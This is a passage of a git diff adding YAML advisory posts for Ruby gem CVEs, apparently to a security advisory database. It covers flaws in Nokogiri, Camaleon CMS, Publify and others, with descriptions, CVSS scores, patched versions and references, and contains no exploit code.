+    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/IOYJKXPQCUNBMMQJWYXOR6QRUJZHEDRZ/
+    - https://oss-fuzz.com/testcase-detail/5197371471822848
+    - https://seclists.org/bugtraq/2019/Aug/21
+    - https://seclists.org/bugtraq/2019/Aug/22
+    - https://seclists.org/bugtraq/2019/Aug/23
+    - https://seclists.org/bugtraq/2019/Aug/25
+    - https://seclists.org/bugtraq/2019/Jul/35
+    - https://seclists.org/bugtraq/2019/Jul/36
+    - https://seclists.org/bugtraq/2019/Jul/37
+    - https://seclists.org/bugtraq/2019/Jul/40
+    - https://seclists.org/bugtraq/2019/Jul/41
+    - https://seclists.org/bugtraq/2019/Jul/42
+    - https://security.netapp.com/advisory/ntap-20190806-0004/
+    - https://security.netapp.com/advisory/ntap-20200122-0003/
+    - https://support.apple.com/kb/HT210346
+    - https://support.apple.com/kb/HT210348
+    - https://support.apple.com/kb/HT210351
+    - https://support.apple.com/kb/HT210353
+    - https://support.apple.com/kb/HT210356
+    - https://support.apple.com/kb/HT210357
+    - https://support.apple.com/kb/HT210358
+    - https://usn.ubuntu.com/4164-1/
+    - https://www.oracle.com/security-alerts/cpujan2020.html
+    - http://lists.opensuse.org/opensuse-security-announce/2020-05/msg00062.html
+    - http://seclists.org/fulldisclosure/2019/Aug/11
+    - http://seclists.org/fulldisclosure/2019/Aug/13
+    - http://seclists.org/fulldisclosure/2019/Aug/14
+    - http://seclists.org/fulldisclosure/2019/Aug/15
+    - http://seclists.org/fulldisclosure/2019/Jul/22
+    - http://seclists.org/fulldisclosure/2019/Jul/23
+    - http://seclists.org/fulldisclosure/2019/Jul/24
+    - http://seclists.org/fulldisclosure/2019/Jul/26
+    - http://seclists.org/fulldisclosure/2019/Jul/31
+    - http://seclists.org/fulldisclosure/2019/Jul/37
+    - http://seclists.org/fulldisclosure/2019/Jul/38
+    - http://www.openwall.com/lists/oss-security/2019/11/17/2
+    - https://github.com/sparklemotion/nokogiri/issues/1943
+    - https://github.com/sparklemotion/nokogiri/commit/43a175339b47b8c604508813fc75b83f13cd173e
+    - https://github.com/sparklemotion/nokogiri/blob/f7aa3b0b29d6fe5fafe93dacd9b96b6b3d16b7ec/CHANGELOG.md?plain=1#L796
+    - https://github.com/sparklemotion/nokogiri/releases/tag/v1.10.5
+---
diff --git a/advisories/_posts/2022-05-24-CVE-2019-14825.md b/advisories/_posts/2022-05-24-CVE-2019-14825.md
new file mode 100644
index 00000000..ea334adb
--- /dev/null
+++ b/advisories/_posts/2022-05-24-CVE-2019-14825.md
@@ -0,0 +1,31 @@
+---
+layout: advisory
+title: 'CVE-2019-14825 (katello): Katello cleartext password storage issue'
+comments: false
+categories:
+- katello
+advisory:
+  gem: katello
+  cve: 2019-14825
+  ghsa: m4wh-848j-9w2r
+  url: https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-14825
+  title: Katello cleartext password storage issue
+  date: 2022-05-24
+  description: |
+    A cleartext password storage issue was discovered in Katello, versions
+    3.x.x.x before katello 3.12.2. Registry credentials used during container image
+    discovery were inadvertently logged without being masked. This flaw could expose
+    the registry credentials to other privileged users.
+  cvss_v3: 2.7
+  patched_versions:
+  - ">= 3.12.2"
+  related:
+    url:
+    - https://github.com/Katello/katello/pull/8244
+    - https://github.com/Katello/katello/pull/8253
+    - https://github.com/Katello/katello/commit/332484232b66b7907a8104a19ea97eb697b75c79
+    - https://github.com/Katello/katello/commit/4eefa678a905140620ca8b390d48fe318d36e4ea
+    - https://bugzilla.redhat.com/show_bug.cgi?id=1730668
+    - https://github.com/Katello/katello/commits/3.12.2
+    - https://projects.theforeman.org/issues/27485
+---
diff --git a/advisories/_posts/2022-05-24-CVE-2019-16751.md b/advisories/_posts/2022-05-24-CVE-2019-16751.md
new file mode 100644
index 00000000..ae28701a
--- /dev/null
+++ b/advisories/_posts/2022-05-24-CVE-2019-16751.md
@@ -0,0 +1,26 @@
+---
+layout: advisory
+title: 'CVE-2019-16751 (devise_token_auth): Devise Token Auth vulnerable to Cross-site
+  Scripting'
+comments: false
+categories:
+- devise_token_auth
+advisory:
+  gem: devise_token_auth
+  cve: 2019-16751
+  ghsa: mvqr-r76c-wm5f
+  url: https://github.com/lynndylanhurley/devise_token_auth/issues/1332
+  title: Devise Token Auth vulnerable to Cross-site Scripting
+  date: 2022-05-24
+  description: |
+    An issue was discovered in Devise Token Auth through 1.1.2. The omniauth
+    failure endpoint is vulnerable to Reflected Cross Site Scripting (XSS) through the
+    message parameter. Unauthenticated attackers can craft a URL that executes a malicious
+    JavaScript payload in the victim's browser. This affects the fallback_render method
+    in the omniauth callbacks controller.
+  cvss_v3: 6.1
+  unaffected_versions:
+  - "< 0.1.33"
+  patched_versions:
+  - ">= 1.1.3"
+---
diff --git a/advisories/_posts/2022-05-24-CVE-2019-17268.md b/advisories/_posts/2022-05-24-CVE-2019-17268.md
new file mode 100644
index 00000000..6db0d835
--- /dev/null
+++ b/advisories/_posts/2022-05-24-CVE-2019-17268.md
@@ -0,0 +1,27 @@
+---
+layout: advisory
+title: 'CVE-2019-17268 (omniauth-weibo-oauth2): omniauth-weibo-oauth2 included a code-execution
+  backdoor inserted by a third-party'
+comments: false
+categories:
+- omniauth-weibo-oauth2
+advisory:
+  gem: omniauth-weibo-oauth2
+  cve: 2019-17268
+  ghsa: vr22-43gj-rx3f
+  url: https://github.com/beenhero/omniauth-weibo-oauth2/issues/36
+  title: omniauth-weibo-oauth2 included a code-execution backdoor inserted by a third-party
+  date: 2022-05-24
+  description: |
+    The omniauth-weibo-oauth2 gem 0.4.6 for Ruby, as distributed on RubyGems.org,
+    included a code-execution backdoor inserted by a third party. Versions through 0.4.5,
+    and 0.5.1 and later, are unaffected.
+  cvss_v3: 9.8
+  unaffected_versions:
+  - "< 0.4.6"
+  patched_versions:
+  - ">= 0.5.1"
+  related:
+    url:
+    - https://diff.coditsu.io/diffs/09a05c37-1b34-49e1-ac94-d4dda40d1ad1#d2h-971595
+---
diff --git a/advisories/_posts/2022-05-24-CVE-2019-18197.md b/advisories/_posts/2022-05-24-CVE-2019-18197.md
new file mode 100644
index 00000000..724c0c13
--- /dev/null
+++ b/advisories/_posts/2022-05-24-CVE-2019-18197.md
@@ -0,0 +1,51 @@
+---
+layout: advisory
+title: 'CVE-2019-18197 (nokogiri): Nokogiri affected by libxslt Use of Uninitialized
+  Resource/ Use After Free vulnerability'
+comments: false
+categories:
+- nokogiri
+advisory:
+  gem: nokogiri
+  cve: 2019-18197
+  ghsa: 242x-7cm6-4w8j
+  url: https://github.com/sparklemotion/nokogiri/issues/1943
+  title: Nokogiri affected by libxslt Use of Uninitialized Resource/ Use After Free
+    vulnerability
+  date: 2022-05-24
+  description: |
+    In xsltCopyText in transform.c in libxslt 1.1.33, a pointer variable
+    isn't reset under certain circumstances. If the relevant memory area
+    happened to be freed and reused in a certain way, a bounds check could
+    fail and memory outside a buffer could be written to, or uninitialized
+    data could be disclosed.
+
+    Nokogiri prior to version 1.10.5 contains a vulnerable version of
+    libxslt. Nokogiri version 1.10.5 upgrades the dependency to
+    libxslt 1.1.34, which contains a patch for this issue.
+  cvss_v2: 5.1
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 1.10.5"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2019-18197
+    - https://github.com/sparklemotion/nokogiri/issues/1943
+    - https://github.com/sparklemotion/nokogiri/blob/01ab95f3e37429ed8d3b380a8d2f73902eb325d9/CHANGELOG.md?plain=1#L934
+    - https://access.redhat.com/errata/RHSA-2020:0514
+    - https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=15746
+    - https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=15768
+    - https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=15914
+    - https://gitlab.gnome.org/GNOME/libxslt/commit/2232473733b7313d67de8836ea3b29eec6e8e285
+    - https://lists.debian.org/debian-lts-announce/2019/10/msg00037.html
+    - https://security.netapp.com/advisory/ntap-20191031-0004
+    - https://security.netapp.com/advisory/ntap-20200416-0004
+    - https://usn.ubuntu.com/4164-1
+    - https://www.oracle.com/security-alerts/cpuapr2020.html
+    - http://lists.opensuse.org/opensuse-security-announce/2020-02/msg00010.html
+    - http://lists.opensuse.org/opensuse-security-announce/2020-02/msg00015.html
+    - http://lists.opensuse.org/opensuse-security-announce/2020-02/msg00025.html
+    - http://lists.opensuse.org/opensuse-security-announce/2020-05/msg00062.html
+    - http://www.openwall.com/lists/oss-security/2019/11/17/2
+    - https://github.com/advisories/GHSA-242x-7cm6-4w8j
+---
diff --git a/advisories/_posts/2022-05-24-CVE-2019-5815.md b/advisories/_posts/2022-05-24-CVE-2019-5815.md
new file mode 100644
index 00000000..f678772a
--- /dev/null
+++ b/advisories/_posts/2022-05-24-CVE-2019-5815.md
@@ -0,0 +1,34 @@
+---
+layout: advisory
+title: 'CVE-2019-5815 (nokogiri): Nokogiri implementation of libxslt vulnerable to
+  heap corruption'
+comments: false
+categories:
+- nokogiri
+advisory:
+  gem: nokogiri
+  cve: 2019-5815
+  ghsa: vmfx-gcfq-wvm2
+  url: https://github.com/sparklemotion/nokogiri/issues/2630
+  title: Nokogiri implementation of libxslt vulnerable to heap corruption
+  date: 2022-05-24
+  description: |
+    Type confusion in `xsltNumberFormatGetMultipleLevel` prior to
+    libxslt 1.1.33 could allow attackers to potentially exploit heap
+    corruption via crafted XML data.
+
+    Nokogiri prior to version 1.10.5 contains a vulnerable version of
+    libxslt. Nokogiri version 1.10.5 upgrades the dependency to
+    libxslt 1.1.34, which contains a patch for this issue.
+  cvss_v2: 5.0
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 1.10.5"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2019-5815
+    - https://github.com/sparklemotion/nokogiri/issues/2630
+    - https://gitlab.gnome.org/GNOME/libxslt/commit/08b62c25871b38d5d573515ca8a065b4b8f64f6b
+    - https://lists.debian.org/debian-lts-announce/2022/09/msg00010.html
+    - https://github.com/advisories/GHSA-vmfx-gcfq-wvm2
+---
diff --git a/advisories/_posts/2022-05-24-CVE-2019-7615.md b/advisories/_posts/2022-05-24-CVE-2019-7615.md
new file mode 100644
index 00000000..dc56b51e
--- /dev/null
+++ b/advisories/_posts/2022-05-24-CVE-2019-7615.md
@@ -0,0 +1,27 @@
+---
+layout: advisory
+title: 'CVE-2019-7615 (elastic-apm): Elastic APM agent for Ruby vulnerable to Improper
+  Certificate Validation'
+comments: false
+categories:
+- elastic-apm
+advisory:
+  gem: elastic-apm
+  cve: 2019-7615
+  ghsa: 35j2-p8fh-x966
+  url: https://github.com/elastic/apm-agent-ruby/pull/449
+  title: Elastic APM agent for Ruby vulnerable to Improper Certificate Validation
+  date: 2022-05-24
+  description: |
+    A TLS certificate validation flaw was found in Elastic APM agent for
+    Ruby versions before 2.9.0. When specifying a trusted server CA certificate via
+    the `server_ca_cert` setting, the Ruby agent would not properly verify the certificate
+    returned by the APM server. This could result in a man in the middle style attack
+    against the Ruby agent.
+  cvss_v3: 7.4
+  patched_versions:
+  - ">= 2.9.0"
+  related:
+    url:
+    - https://www.elastic.co/community/security/
+---
diff --git a/advisories/_posts/2022-05-24-CVE-2020-13353.md b/advisories/_posts/2022-05-24-CVE-2020-13353.md
new file mode 100644
index 00000000..3873a213
--- /dev/null
+++ b/advisories/_posts/2022-05-24-CVE-2020-13353.md
@@ -0,0 +1,28 @@
+---
+layout: advisory
+title: 'CVE-2020-13353 (gitaly): Gitaly Insufficient Session Expiration vulnerability'
+comments: false
+categories:
+- gitaly
+advisory:
+  gem: gitaly
+  cve: 2020-13353
+  ghsa: mmmm-chjf-jmvw
+  url: https://gitlab.com/gitlab-org/cves/-/blob/master/2020/CVE-2020-13353.json
+  title: Gitaly Insufficient Session Expiration vulnerability
+  date: 2022-05-24
+  description: |
+    When importing repos via URL, one time use git credentials were persisted
+    beyond the expected time window in Gitaly 1.79.0 or above. Affected versions are:
+    >=1.79.0, <13.3.9,>=13.4, <13.4.5,>=13.5, <13.5.2.
+  cvss_v3: 3.2
+  unaffected_versions:
+  - "< 1.79.0"
+  patched_versions:
+  - "~> 13.3.9"
+  - "~> 13.4.5"
+  - ">= 13.5.2"
+  related:
+    url:
+    - https://gitlab.com/gitlab-org/gitaly/-/issues/2882
+---
diff --git a/advisories/_posts/2022-05-24-CVE-2020-7385.md b/advisories/_posts/2022-05-24-CVE-2020-7385.md
new file mode 100644
index 00000000..33b5a492
--- /dev/null
+++ b/advisories/_posts/2022-05-24-CVE-2020-7385.md
@@ -0,0 +1,36 @@
+---
+layout: advisory
+title: 'CVE-2020-7385 (metasploit-framework): Metasploit Framework user exposes Metasploit
+  to same deserialization issue that is exploited by that module'
+comments: false
+categories:
+- metasploit-framework
+advisory:
+  gem: metasploit-framework
+  cve: 2020-7385
+  ghsa: xgww-h98f-24qf
+  url: https://github.com/rapid7/metasploit-framework/pull/14300
+  title: Metasploit Framework user exposes Metasploit to same deserialization issue
+    that is exploited by that module
+  date: 2022-05-24
+  description: |
+    By launching the drb_remote_codeexec exploit, a Metasploit Framework
+    user will inadvertently expose Metasploit to the same deserialization issue that
+    is exploited by that module, due to the reliance on the vulnerable Distributed Ruby
+    class functions. Since Metasploit Framework typically runs with elevated privileges,
+    this can lead to a system compromise on the Metasploit workstation. Note that an
+    attacker would have to lie in wait and entice the Metasploit user to run the affected
+    module against a malicious endpoint in a "hack-back" type of attack. Metasploit
+    is only vulnerable when the drb_remote_codeexec module is running. In most cases,
+    this cannot happen automatically.
+  cvss_v3: 8.1
+  patched_versions:
+  - ">= 4.19.0"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-7385
+    - https://github.com/rapid7/metasploit-framework/pull/14300
+    - https://github.com/rapid7/metasploit-framework/pull/14335
+    - https://help.rapid7.com/metasploit/release-notes/archive/2020/10/
+    - https://github.com/advisories/GHSA-xgww-h98f-24qf
+---
diff --git a/advisories/_posts/2022-05-24-CVE-2021-25969.md b/advisories/_posts/2022-05-24-CVE-2021-25969.md
new file mode 100644
index 00000000..8e38b36a
--- /dev/null
+++ b/advisories/_posts/2022-05-24-CVE-2021-25969.md
@@ -0,0 +1,27 @@
+---
+layout: advisory
+title: 'CVE-2021-25969 (camaleon_cms): Camaleon CMS Stored Cross-site Scripting vulnerability'
+comments: false
+categories:
+- camaleon_cms
+advisory:
+  gem: camaleon_cms
+  cve: 2021-25969
+  ghsa: x78v-4fvj-rg9j
+  url: https://github.com/owen2345/camaleon-cms/commit/05506e9087bb05282c0bae6ccfe0283d0332ab3c
+  title: Camaleon CMS Stored Cross-site Scripting vulnerability
+  date: 2022-05-24
+  description: |
+    In “Camaleon CMS” application, versions 0.0.1 through 2.6.0 are vulnerable
+    to stored XSS, that allows unprivileged application users to store malicious scripts
+    in the comments section of the post. These scripts are executed in a victim’s browser
+    when they open the page containing the malicious comment.
+  cvss_v3: 6.1
+  unaffected_versions:
+  - "< 0.0.1"
+  patched_versions:
+  - ">= 2.6.0.1"
+  related:
+    url:
+    - https://www.whitesourcesoftware.com/vulnerability-database/CVE-2021-25969
+---
diff --git a/advisories/_posts/2022-05-24-CVE-2021-25970.md b/advisories/_posts/2022-05-24-CVE-2021-25970.md
new file mode 100644
index 00000000..1267cd5a
--- /dev/null
+++ b/advisories/_posts/2022-05-24-CVE-2021-25970.md
@@ -0,0 +1,28 @@
+---
+layout: advisory
+title: 'CVE-2021-25970 (camaleon_cms): Camaleon CMS Insufficient Session Expiration
+  vulnerability'
+comments: false
+categories:
+- camaleon_cms
+advisory:
+  gem: camaleon_cms
+  cve: 2021-25970
+  ghsa: 438x-2p9v-g8h9
+  url: https://github.com/owen2345/camaleon-cms/commit/77e31bc6cdde7c951fba104aebcd5ebb3f02b030
+  title: Camaleon CMS Insufficient Session Expiration vulnerability
+  date: 2022-05-24
+  description: |
+    Camaleon CMS 0.1.7 through 2.6.0 doesn’t terminate the active session
+    of the users, even after the admin changes the user’s password. A user that was
+    already logged in, will still have access to the application even after the password
+    was changed.
+  cvss_v3: 8.8
+  unaffected_versions:
+  - "< 0.1.7"
+  patched_versions:
+  - ">= 2.6.0.1"
+  related:
+    url:
+    - https://www.whitesourcesoftware.com/vulnerability-database/CVE-2021-25970
+---
diff --git a/advisories/_posts/2022-05-24-CVE-2021-25971.md b/advisories/_posts/2022-05-24-CVE-2021-25971.md
new file mode 100644
index 00000000..c086d409
--- /dev/null
+++ b/advisories/_posts/2022-05-24-CVE-2021-25971.md
@@ -0,0 +1,26 @@
+---
+layout: advisory
+title: 'CVE-2021-25971 (camaleon_cms): Camaleon CMS vulnerable to Uncaught Exception'
+comments: false
+categories:
+- camaleon_cms
+advisory:
+  gem: camaleon_cms
+  cve: 2021-25971
+  ghsa: r2w2-h6r8-3r53
+  url: https://github.com/owen2345/camaleon-cms/commit/ab89584ab32b98a0af3d711e3f508a1d048147d2
+  title: Camaleon CMS vulnerable to Uncaught Exception
+  date: 2022-05-24
+  description: |
+    In Camaleon CMS, versions 2.0.1 through 2.6.0 are vulnerable to an Uncaught
+    Exception. The app's media upload feature crashes permanently when an attacker with
+    a low privileged access uploads a specially crafted .svg file.
+  cvss_v3: 4.3
+  unaffected_versions:
+  - "< 2.0.1"
+  patched_versions:
+  - ">= 2.6.0.1"
+  related:
+    url:
+    - https://www.whitesourcesoftware.com/vulnerability-database/CVE-2021-25971
+---
diff --git a/advisories/_posts/2022-05-24-CVE-2021-25972.md b/advisories/_posts/2022-05-24-CVE-2021-25972.md
new file mode 100644
index 00000000..efd5c290
--- /dev/null
+++ b/advisories/_posts/2022-05-24-CVE-2021-25972.md
@@ -0,0 +1,29 @@
+---
+layout: advisory
+title: 'CVE-2021-25972 (camaleon_cms): Camaleon CMS vulnerable to Server-Side Request
+  Forgery'
+comments: false
+categories:
+- camaleon_cms
+advisory:
+  gem: camaleon_cms
+  cve: 2021-25972
+  ghsa: vx6p-q4gj-x6xx
+  url: https://github.com/owen2345/camaleon-cms/commit/5a252d537411fdd0127714d66c1d76069dc7e190
+  title: Camaleon CMS vulnerable to Server-Side Request Forgery
+  date: 2022-05-24
+  description: |
+    In Camaleon CMS, versions 2.1.2.0 through 2.6.0, are vulnerable to Server-Side
+    Request Forgery (SSRF) in the media upload feature, which allows admin users to
+    fetch media files from external URLs but fails to validate URLs referencing to localhost
+    or other internal servers. This allows attackers to read files stored in the internal
+    server.
+  cvss_v3: 4.9
+  unaffected_versions:
+  - "< 2.1.2.0"
+  patched_versions:
+  - ">= 2.6.0.1"
+  related:
+    url:
+    - https://www.whitesourcesoftware.com/vulnerability-database/CVE-2021-25972
+---
diff --git a/advisories/_posts/2022-05-24-CVE-2021-25974.md b/advisories/_posts/2022-05-24-CVE-2021-25974.md
new file mode 100644
index 00000000..9dece7fe
--- /dev/null
+++ b/advisories/_posts/2022-05-24-CVE-2021-25974.md
@@ -0,0 +1,26 @@
+---
+layout: advisory
+title: 'CVE-2021-25974 (publify_core): Cross site scripting in publify'
+comments: false
+categories:
+- publify_core
+advisory:
+  gem: publify_core
+  cve: 2021-25974
+  ghsa: wmh9-x28j-c6gr
+  url: https://github.com/publify/publify/commit/fefd5f76302adcc425b2b6e7e7d23587cfc0083e
+  title: Cross site scripting in publify
+  date: 2022-05-24
+  description: |
+    In Publify, versions v8.0 to v9.2.4 are vulnerable to stored XSS. A user
+    with a 'publisher' role is able to inject and execute arbitrary JavaScript code
+    while creating a page/article.
+  cvss_v3: 5.4
+  unaffected_versions:
+  - "< 8.0"
+  patched_versions:
+  - ">= 9.2.5"
+  related:
+    url:
+    - https://www.whitesourcesoftware.com/vulnerability-database/CVE-2021-25974
+---
diff --git a/advisories/_posts/2022-05-24-CVE-2021-25975.md b/advisories/_posts/2022-05-24-CVE-2021-25975.md
new file mode 100644
index 00000000..d8b22004
--- /dev/null
+++ b/advisories/_posts/2022-05-24-CVE-2021-25975.md
@@ -0,0 +1,26 @@
+---
+layout: advisory
+title: 'CVE-2021-25975 (publify_core): Cross site scripting in publify'
+comments: false
+categories:
+- publify_core
+advisory:
+  gem: publify_core
+  cve: 2021-25975
+  ghsa: 3h7v-wqw7-ff28
+  url: https://github.com/publify/publify/commit/d99c0870d3dbbfde7febdc6cad33199b84770101
+  title: Cross site scripting in publify
+  date: 2022-05-24
+  description: |
+    In publify, versions v8.0 to v9.2.4 are vulnerable to stored XSS as a
+    result of an unrestricted file upload. This issue allows a user with 'publisher'
+    role to inject malicious JavaScript via the uploaded html file.
+  cvss_v3: 5.4
+  unaffected_versions:
+  - "< 8.0"
+  patched_versions:
+  - ">= 9.2.5"
+  related:
+    url:
+    - https://www.whitesourcesoftware.com/vulnerability-database/CVE-2021-25974
+---
diff --git a/advisories/_posts/2022-05-24-CVE-2021-3517.md b/advisories/_posts/2022-05-24-CVE-2021-3517.md
new file mode 100644
index 00000000..ee43402d
--- /dev/null
+++ b/advisories/_posts/2022-05-24-CVE-2021-3517.md
@@ -0,0 +1,39 @@
+---
+layout: advisory
+title: 'CVE-2021-3517 (nokogiri): Nokogiri contains libxml Out-of-bounds Write vulnerability'
+comments: false
+categories:
+- nokogiri
+advisory:
+  gem: nokogiri
+  cve: 2021-3517
+  ghsa: jw9f-hh49-cvp9
+  url: https://bugzilla.redhat.com/show_bug.cgi?id=1954232
+  title: Nokogiri contains libxml Out-of-bounds Write vulnerability
+  date: 2022-05-24
+  description: |
+    There is a flaw in the xml entity encoding functionality of libxml2 in versions before 2.9.11. An attacker who is able to supply a crafted file to be processed by an application linked with the affected functionality of libxml2 could trigger an out-of-bounds read. The most likely impact of this flaw is to application availability, with some potential impact to confidentiality and integrity if an attacker is able to use memory information to further exploit the application.
+
+    Nokogiri prior to version 1.11.4 used a vulnerable version of libxml2. Nokogiri 1.11.4 updated libxml2 to version 2.9.11 to address this and other vulnerabilities in libxml2.
+  cvss_v3: 8.6
+  patched_versions:
+  - ">= 1.11.4"
+  related:
+    url:
+    - https://lists.apache.org/thread.html/r58af02e294bd07f487e2c64ffc0a29b837db5600e33b6e698b9d696b@%3Cissues.bookkeeper.apache.org%3E
+    - https://lists.apache.org/thread.html/rf4c02775860db415b4955778a131c2795223f61cb8c6a450893651e4@%3Cissues.bookkeeper.apache.org%3E
+    - https://lists.debian.org/debian-lts-announce/2021/05/msg00008.html
+    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BZOMV5J4PMZAORVT64BKLV6YIZAFDGX6/
+    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QVM4UJ3376I6ZVOYMHBNX4GY3NIV52WV/
+    - https://security.gentoo.org/glsa/202107-05
+    - https://security.netapp.com/advisory/ntap-20210625-0002/
+    - https://security.netapp.com/advisory/ntap-20211022-0004/
+    - https://www.oracle.com/security-alerts/cpuapr2022.html
+    - https://www.oracle.com/security-alerts/cpujan2022.html
+    - https://www.oracle.com/security-alerts/cpuoct2021.html
+    - https://www.oracle.com/security-alerts/cpujul2022.html
+    - https://github.com/sparklemotion/nokogiri/issues/2233
+    - https://github.com/sparklemotion/nokogiri/issues/2274
+    - https://github.com/sparklemotion/nokogiri/blob/7c19ef5cc6b7c5c36827dd5495f857c6877ec8cf/CHANGELOG.md?plain=1#L579
+    - https://gitlab.gnome.org/GNOME/libxml2/-/commit/8598060bacada41a0eb09d95c97744ff4e428f8e
+---
diff --git a/advisories/_posts/2022-05-24-CVE-2021-3518.md b/advisories/_posts/2022-05-24-CVE-2021-3518.md
new file mode 100644
index 00000000..4749bb63
--- /dev/null
+++ b/advisories/_posts/2022-05-24-CVE-2021-3518.md
@@ -0,0 +1,36 @@
+---
+layout: advisory
+title: 'CVE-2021-3518 (nokogiri): Nokogiri Implements libxml2 version vulnerable to
+  use-after-free'
+comments: false
+categories:
+- nokogiri
+advisory:
+  gem: nokogiri
+  cve: 2021-3518
+  ghsa: v4f8-2847-rwm7
+  url: https://nokogiri.org/CHANGELOG.html#1114-2021-05-14
+  title: Nokogiri Implements libxml2 version vulnerable to use-after-free
+  date: 2022-05-24
+  description: |
+    There's a flaw in libxml2 in versions before 2.9.11. An attacker
+    who is able to submit a crafted file to be processed by an application
+    linked with libxml2 could trigger a use-after-free. The greatest
+    impact from this flaw is to confidentiality, integrity, and availability.
+  cvss_v3: 8.8
+  patched_versions:
+  - ">= 1.11.4"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-3518
+    - https://nokogiri.org/CHANGELOG.html#1114-2021-05-14
+    - https://nokogiri.org/CHANGELOG.html#security_8
+    - https://bugzilla.redhat.com/show_bug.cgi?id=1954242
+    - https://lists.debian.org/debian-lts-announce/2021/05/msg00008.html
+    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BZOMV5J4PMZAORVT64BKLV6YIZAFDGX6/
+    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QVM4UJ3376I6ZVOYMHBNX4GY3NIV52WV/
+    - https://security.gentoo.org/glsa/202107-05
+    - https://security.netapp.com/advisory/ntap-20210625-0002/
+    - https://github.com/sparklemotion/nokogiri/blob/2edbbef95f1dc12c1ddc5ebda71b9159026245fe/CHANGELOG.md?plain=1#L722
+    - https://github.com/advisories/GHSA-v4f8-2847-rwm7
+---
diff --git a/advisories/_posts/2022-05-24-CVE-2021-3537.md b/advisories/_posts/2022-05-24-CVE-2021-3537.md
new file mode 100644
index 00000000..bb198cc6
--- /dev/null
+++ b/advisories/_posts/2022-05-24-CVE-2021-3537.md
@@ -0,0 +1,42 @@
+---
+layout: advisory
+title: 'CVE-2021-3537 (nokogiri): Nokogiri Implements libxml2 version vulnerable to
+  null pointer dereferencing'
+comments: false
+categories:
+- nokogiri
+advisory:
+  gem: nokogiri
+  cve: 2021-3537
+  ghsa: 286v-pcf5-25rc
+  url: https://nokogiri.org/CHANGELOG.html#1114-2021-05-14
+  title: Nokogiri Implements libxml2 version vulnerable to null pointer dereferencing
+  date: 2022-05-24
+  description: |
+    A vulnerability found in libxml2 in versions before 2.9.11 shows
+    that it did not propagate errors while parsing XML mixed content,
+    causing a NULL dereference. If an untrusted XML document was parsed
+    in recovery mode and post-validated, the flaw could be used to crash
+    the application. The highest threat from this vulnerability
+    is to system availability.
+  cvss_v2: 4.3
+  cvss_v3: 5.9
+  patched_versions:
+  - ">= 1.11.4"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-3537
+    - https://nokogiri.org/CHANGELOG.html#1114-2021-05-14
+    - https://nokogiri.org/CHANGELOG.html#security_8
+    - https://bugzilla.redhat.com/show_bug.cgi?id=1956522
+    - https://lists.debian.org/debian-lts-announce/2021/05/msg00008.html
+    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BZOMV5J4PMZAORVT64BKLV6YIZAFDGX6/
+    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QVM4UJ3376I6ZVOYMHBNX4GY3NIV52WV/
+    - https://security.gentoo.org/glsa/202107-05
+    - https://security.netapp.com/advisory/ntap-20210625-0002/
+    - https://www.oracle.com/security-alerts/cpuapr2022.html
+    - https://www.oracle.com/security-alerts/cpuoct2021.html
+    - https://www.oracle.com/security-alerts/cpujul2022.html
+    - https://github.com/sparklemotion/nokogiri/blob/2edbbef95f1dc12c1ddc5ebda71b9159026245fe/CHANGELOG.md?plain=1#L722
+    - https://github.com/advisories/GHSA-286v-pcf5-25rc
+---
diff --git a/advisories/_posts/2022-05-24-CVE-2021-35440.md b/advisories/_posts/2022-05-24-CVE-2021-35440.md
new file mode 100644
index 00000000..15674181
--- /dev/null
+++ b/advisories/_posts/2022-05-24-CVE-2021-35440.md
@@ -0,0 +1,26 @@
+---
+layout: advisory
+title: 'CVE-2021-35440 (smashing): Smashing Cross-site Scripting vulnerability'
+comments: false
+categories:
+- smashing
+advisory:
+  gem: smashing
+  cve: 2021-35440
+  ghsa: 254j-mmc5-qhpx
+  url: https://github.com/Smashing/smashing/pull/186
+  title: Smashing Cross-site Scripting vulnerability
+  date: 2022-05-24
+  description: |
+    Smashing 1.3.4 is vulnerable to Cross Site Scripting (XSS). A URL for
+    a widget can be crafted and used to execute JavaScript on the victim's computer.
+    The JavaScript code can then steal data available in the session/cookies depending
+    on the user environment (e.g. if re-using internal URL's for deploying, or cookies
+    that are very permissive) private information may be retrieved by the attacker.
+  cvss_v3: 6.1
+  patched_versions:
+  - ">= 1.3.5"
+  related:
+    url:
+    - https://github.com/Smashing/smashing/blob/ad7325f159f89854ca4e7d94e7be9bee507b6d46/CHANGELOG.md
+---
diff --git a/advisories/_posts/2022-05-24-CVE-2021-39880.md b/advisories/_posts/2022-05-24-CVE-2021-39880.md
new file mode 100644
index 00000000..072554f0
--- /dev/null
+++ b/advisories/_posts/2022-05-24-CVE-2021-39880.md
@@ -0,0 +1,31 @@
+---
+layout: advisory
+title: 'CVE-2021-39880 (apollo_upload_server): apollo_upload_server has Denial of
+  Service vulnerability'
+comments: false
+categories:
+- apollo_upload_server
+advisory:
+  gem: apollo_upload_server
+  cve: 2021-39880
+  ghsa: w6pv-c757-6rgr
+  url: https://hackerone.com/reports/1181284
+  title: apollo_upload_server has Denial of Service vulnerability
+  date: 2022-05-24
+  description: |
+    A Denial Of Service vulnerability in the apollo_upload_server Ruby gem
+    in GitLab CE/EE version 11.11 and above allows an attacker to deny access to all
+    users via specially crafted requests to the apollo_upload_server middleware.
+  cvss_v3: 6.5
+  patched_versions:
+  - ">= 2.1.0"
+  related:
+    url:
+    - https://gitlab.com/gitlab-org/cves/-/blob/master/2021/CVE-2021-39880.json
+    - https://gitlab.com/gitlab-org/gitlab/-/issues/330561
